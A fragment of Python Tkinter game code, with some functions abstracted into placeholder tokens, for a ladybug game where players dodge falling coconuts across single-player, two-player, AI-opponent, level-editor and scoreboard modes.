data.winner == None and data.pauseDrops == False:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 25 and abs(xPosition1 - 360) > 25:\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 12 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(755, 0))\n powerupDrop2Player(data)\n\n\ndef powerupDrop2Player(data):\n if data.time % 45 == 0 and data.time % 90 != 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n if data.time % 60 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(140, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(344, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(755, 0))\n if data.time % 90 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.scaryBug.append(ScaryBug(140, 750))\n data.scaryBug.append(ScaryBug(540, 750))\n elif side == 'r':\n data.scaryBug.append(ScaryBug(344, 750))\n data.scaryBug.append(ScaryBug(755, 750))\n\n\ndef twoPlayerKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.winner == None:\n if event.keysym == 'a' and data.onLeft1 == False:\n data.onLeft1 = True\n data.player1X = 150\n if event.keysym == 'd' and data.onLeft1 == True:\n data.onLeft1 = False\n data.player1X = 330\n if event.keysym == 'Left' and data.onLeft2 == False:\n data.onLeft2 = True\n data.player2X = 550\n if event.keysym == 'Right' and data.onLeft2 == True:\n data.onLeft2 = False\n data.player2X = 750\n\n\ndef twoPlayerMousePressed(event, data):\n checkHome(event, data)\n\n\n<function token>\n\n\ndef powerupTimerFired(data):\n for coconut in data.coconuts1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n hit2Player(data)\n for coconut in data.coconuts2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef twoPlayerRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts1:\n coconut.draw(canvas)\n for coconut in data.coconuts2:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n canvas.create_text(50, 40, text='Player 1', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 2', font='Arial 15 bold', fill\n ='yellow')\n winner(canvas, data)\n drawHome(canvas, data)\n\n\ndef winner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 1', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 2', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef editorKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef editorMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.yourSpeed = 'slow'\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.yourSpeed = 'medium'\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.yourSpeed = 'fast'\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n checkMiddle(event, data)\n checkLast(event, data)\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\ndef drawButtons(canvas, data):\n data.font, data.fill = 'Helvetica 13 bold', 'yellow'\n canvas.create_text(data.medX, data.YST, text='Your Speed:', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Slow', font=data.font)\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium', font=data.font)\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Fast', font=data.font)\n canvas.create_image(data.easyX, data.medX, image=data.drizzle)\n canvas.create_text(data.medX, data.RST, text='Rain Speed:', font=data.\n font, fill=data.fill)\n canvas.create_text(data.easyX, data.medX, text='Drizzle', font=data.font)\n canvas.create_image(data.medX, data.medX, image=data.rain)\n canvas.create_text(data.medX, data.medX, text='Rain', font=data.font)\n canvas.create_image(data.hardX, data.medX, image=data.thunderstorm)\n canvas.create_text(data.hardX, data.medX, text='Heavy', font=data.font)\n canvas.create_text(data.medX, data.PUT, text='PowerUps?', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyY, data.last, image=data.yes)\n canvas.create_text(data.easyY, data.last, text='Yes', font=data.font)\n canvas.create_image(data.last, data.last, image=data.no)\n canvas.create_text(data.last, data.last, text='No', font=data.font)\n changeEnter(canvas, data)\n\n\ndef changeEnter(canvas, data):\n if (data.powerUpsEditor != None and data.yourSpeed != None and data.\n rainSpeed != None):\n data.enter = data.click\n canvas.create_image(data.medX, data.enterX, image=data.enter)\n canvas.create_text(data.medX, data.enterX, text='Enter', font=data.font)\n\n\ndef editorTimerFired(data):\n data.editorTime += 1\n if data.editorTime % 2 == 0:\n rainDrop(data)\n for drop in data.editorDrops:\n drop.onTimerFired(data)\n\n\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\ndef levelCreatedKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.levelEditorLives > 0:\n if event.keysym == 'Left' and data.cx >= 317:\n data.cx -= data.lane / 2\n elif event.keysym == 'Right' and data.cx <= 740:\n data.cx += data.lane / 2\n\n\ndef levelCreatedMousePressed(event, data):\n checkHome(event, data)\n\n\ndef levelCreatedTimerFired(data):\n setEverything(data)\n if data.levelEditorLives > 0:\n data.cy -= data.speed\n if data.cy < 15:\n data.level += 1\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n levelCoconutShot(data)\n if data.powerUpsEditor == False:\n for coconut in data.coconuts:\n coconut.onTimerFired(data)\n hit(data)\n if data.powerUpsEditor == True:\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef levelCreatedRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n if data.powerUpsEditor == True:\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 100, text='Total Lives: %d' % data.\n levelEditorLives, font='Arial 20 bold', fill='yellow')\n canvas.create_text(data.width / 2, 660, text=\n \"\"\"You lose a life for hitting a drop\n & don't get eaten!\"\"\",\n font='Arial 15 bold', fill='yellow')\n if data.levelEditorLives <= 0:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n if data.level > 1:\n winEditor(canvas, data)\n drawHome(canvas, data)\n\n\ndef winEditor(canvas, data):\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='You Made it!', font=\n 'Arial 23 bold', fill='yellow')\n\n\ndef difficultyKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\ndef difficultyTimerFired(data):\n data.editorTime += 1\n if data.editorTime % 2 == 0:\n rainDrop(data)\n for drop in data.editorDrops:\n drop.onTimerFired(data)\n\n\ndef rainDrop(data):\n xPosition = random.randint(0, data.width)\n data.editorDrops.append(Coconuts(xPosition, 0))\n\n\ndef difficultyRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawDifficulties(canvas, data)\n drawHome(canvas, data)\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n\n\ndef addExtraCoconut(data):\n if data.time % 18 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(755, 0))\n if data.time % 37 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n\n\ndef addPowerUpsAI(data):\n if data.time % 33 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(140, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(344, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(755, 0))\n if data.time % 66 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.scaryBug.append(ScaryBug(140, 750))\n data.scaryBug.append(ScaryBug(550, 750))\n elif side == 'r':\n data.scaryBug.append(ScaryBug(344, 750))\n data.scaryBug.append(ScaryBug(750, 750))\n\n\ndef AIKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.winner == None:\n if event.keysym == 'Left' and data.onLeft1 == False:\n data.onLeft1 = True\n data.player2X = 550\n elif event.keysym == 'Right' and data.onLeft1 == True:\n data.onLeft1 = False\n data.player2X = 750\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\ndef AITimerFired(data):\n if data.winner == None:\n if data.Invincible1 == False:\n hitAI1(data, 31)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 31)\n for coconut in data.coconutsAI1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n for coconut in data.coconutsAI2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.Invincible1 == False:\n hitAI1(data, 13)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 13)\n data.player1Y -= data.speedAI\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n coconutShotAI(data)\n data.player2Y -= data.speedAI\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n coconutShotAI(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n powerUpAITimerFired(data)\n\n\ndef powerUpAITimerFired(data):\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef AIRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconutsAI1:\n coconut.draw(canvas)\n for coconut in data.coconutsAI2:\n coconut.draw(canvas)\n canvas.create_text(50, 40, text='Computer', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 1', font='Arial 15 bold', fill\n ='yellow')\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n AIWinner(canvas, data)\n drawHome(canvas, data)\n\n\ndef AIWinner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='The Computer Won :(',\n font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! You Won!', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef scoreboardKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef scoreboardMousePressed(event, data):\n checkHome(event, data)\n\n\ndef scoreboardTimerFired(data):\n difficultyTimerFired(data)\n\n\ndef scoreboardRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.tbgY, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.txtTScore, text='Top Scores!',\n font='Arial 30 bold', fill='yellow')\n canvas.create_text(data.width / 2, data.S_P, text='Score_Player', font=\n 'Arial 20 bold', fill='yellow')\n drawHome(canvas, data)\n data.savedScores\n data.savedScores = readFile('score.txt')\n score = data.savedScores.splitlines()\n scores = []\n for line in score:\n scores.append(line.split(','))\n scores = sorted(scores, key=lambda x: int(x[0]))\n top5 = scores[-data.numScores:]\n top5.reverse()\n for i in range(len(top5)):\n canvas.create_text(data.width / 2, data.scoreShift + i * 50, text=\n top5[i], font='Arial 18 bold', fill='yellow')\n\n\ndef helpKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\ndef run(width=15000, height=25000):\n\n def redrawAllWrapper(canvas, data):\n canvas.delete(ALL)\n redrawAll(canvas, data)\n canvas.update()\n\n def mousePressedWrapper(event, canvas, data):\n mousePressed(event, data)\n redrawAllWrapper(canvas, data)\n\n def keyPressedWrapper(event, canvas, data):\n keyPressed(event, data)\n redrawAllWrapper(canvas, data)\n\n def timerFiredWrapper(canvas, data):\n timerFired(data)\n redrawAllWrapper(canvas, data)\n canvas.after(data.timerDelay, timerFiredWrapper, canvas, data)\n\n\n class Struct(object):\n pass\n data = Struct()\n data.width = width\n data.height = height\n data.timerDelay = 100\n root = Tk()\n init(data)\n canvas = Canvas(root, width=data.width, height=data.height)\n canvas.pack()\n root.bind('<Button-1>', lambda event: mousePressedWrapper(event, canvas,\n data))\n root.bind('<Key>', lambda event: keyPressedWrapper(event, canvas, data))\n timerFiredWrapper(canvas, data)\n root.mainloop()\n print('bye!')\n\n\n<code token>\n", "<import token>\n\n\ndef init(data):\n data.score = 0\n data.mode = 'splashScreen'\n data.timerDelay = 100\n data.height = 800\n data.width = 800\n data.speed = 10\n data.speedAI = 12\n data.speedAI2 = 12\n data.switchOnProgress = False\n data.r = 25\n data.cx = 280\n data.cy = 750\n data.onLeft1, data.onLeft2 = True, True\n data.win = False\n data.coconuts = []\n data.powerUps = []\n data.coconuts1 = []\n data.coconuts2 = []\n data.coconutsAI1 = []\n data.coconutsAI2 = []\n data.invincible = []\n data.pauseDrops = False\n data.pause1Drop = False\n data.pause2Drop = False\n init1(data)\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\ndef init3(data):\n data.yes = data.notClick\n data.no = data.notClick\n data.enter = data.notClick\n data.levelEditorLives = 2\n data.rSpeed = None\n data.start = None\n data.start1 = None\n data.start2 = None\n data.difficulty = None\n data.mode1 = data.notClick\n data.mode2 = data.notClick\n data.mode3 = data.notClick\n data.mode4 = data.notClick\n data.mode5 = data.notClick\n data.mode6 = data.notClick\n data.home = PhotoImage(file='home.gif')\n data.helpScreen = PhotoImage(file='help1.gif')\n data.title = PhotoImage(file='title.gif')\n data.scoreList = []\n data.spotList = [270, 364, 458, 552, 646, 740]\n data.savedScores = readFile('score.txt')\n if data.mode == 'levelCreated':\n setEverything(data)\n initsplashScreenNumbers(data)\n\n\ndef initsplashScreenNumbers(data):\n data.splashButtonY = 425\n data.p1ButtonX = 225\n data.p2ButtonX = 290\n data.edButton = 355\n data.diffButton = 425\n data.helpButton = 490\n data.sboardButton = 555\n data.hitPenalty = 75\n data.splashText = data.height / 2 - 20\n data.lives = 2\n data.levelMax = 8\n data.lane = 94\n data.Player1Min = 270\n data.Player1Max = 740\n data.homeX = 50\n data.homeY = 650\n initScoreBoardHelp(data)\n init1Player(data)\n\n\n<function token>\n\n\ndef init1Player(data):\n data.buffer = 40\n\n\ndef initAI(data):\n data.AITY = 225\n data.easyX = 200\n data.easyY = 300\n data.medX = 400\n data.hardX = 600\n data.enterY = 450\n data.difS = 4\n data.difM = 6\n data.difH = 8\n data.last = 500\n data.enterX = 575\n data.PUT = 450\n data.RST = 350\n data.YST = 250\n\n\ndef mousePressed(event, data):\n if data.mode == 'splashScreen':\n splashScreenMousePressed(event, data)\n elif data.mode == '1Player':\n playerMousePressed(event, data)\n elif data.mode == '2Player':\n twoPlayerMousePressed(event, data)\n elif data.mode == 'editor':\n editorMousePressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedMousePressed(event, data)\n elif data.mode == 'AI':\n AIMousePressed(event, data)\n elif data.mode == 'difficulty':\n difficultyMousePressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardMousePressed(event, data)\n elif data.mode == 'help':\n helpMousePressed(event, data)\n\n\ndef keyPressed(event, data):\n if data.mode == 'splashScreen':\n splashKeyPressed(event, data)\n elif data.mode == '1Player':\n playerKeyPressed(event, data)\n elif data.mode == '2Player':\n twoPlayerKeyPressed(event, data)\n elif data.mode == 'editor':\n editorKeyPressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedKeyPressed(event, data)\n elif data.mode == 'AI':\n AIKeyPressed(event, data)\n elif data.mode == 'difficulty':\n difficultyKeyPressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardKeyPressed(event, data)\n elif data.mode == 'help':\n helpKeyPressed(event, data)\n\n\ndef timerFired(data):\n if data.mode == 'splashScreen':\n splashScreenTimerFired(data)\n elif data.mode == '1Player':\n playerTimerFired(data)\n elif data.mode == '2Player':\n twoPlayerTimerFired(data)\n elif data.mode == 'editor':\n editorTimerFired(data)\n elif data.mode == 'levelCreated':\n levelCreatedTimerFired(data)\n elif data.mode == 'AI':\n AITimerFired(data)\n elif data.mode == 'difficulty':\n difficultyTimerFired(data)\n elif data.mode == 'scoreboard':\n scoreboardTimerFired(data)\n elif data.mode == 'help':\n helpTimerFired(data)\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\ndef splashScreenTimerFired(data):\n data.splashScreenTime += 1\n if data.splashScreenTime % 2 == 1:\n rainDropSplash(data)\n for drop in data.splashScreenDrops:\n drop.onTimerFired(data)\n\n\ndef splashScreenButtons(canvas, data):\n 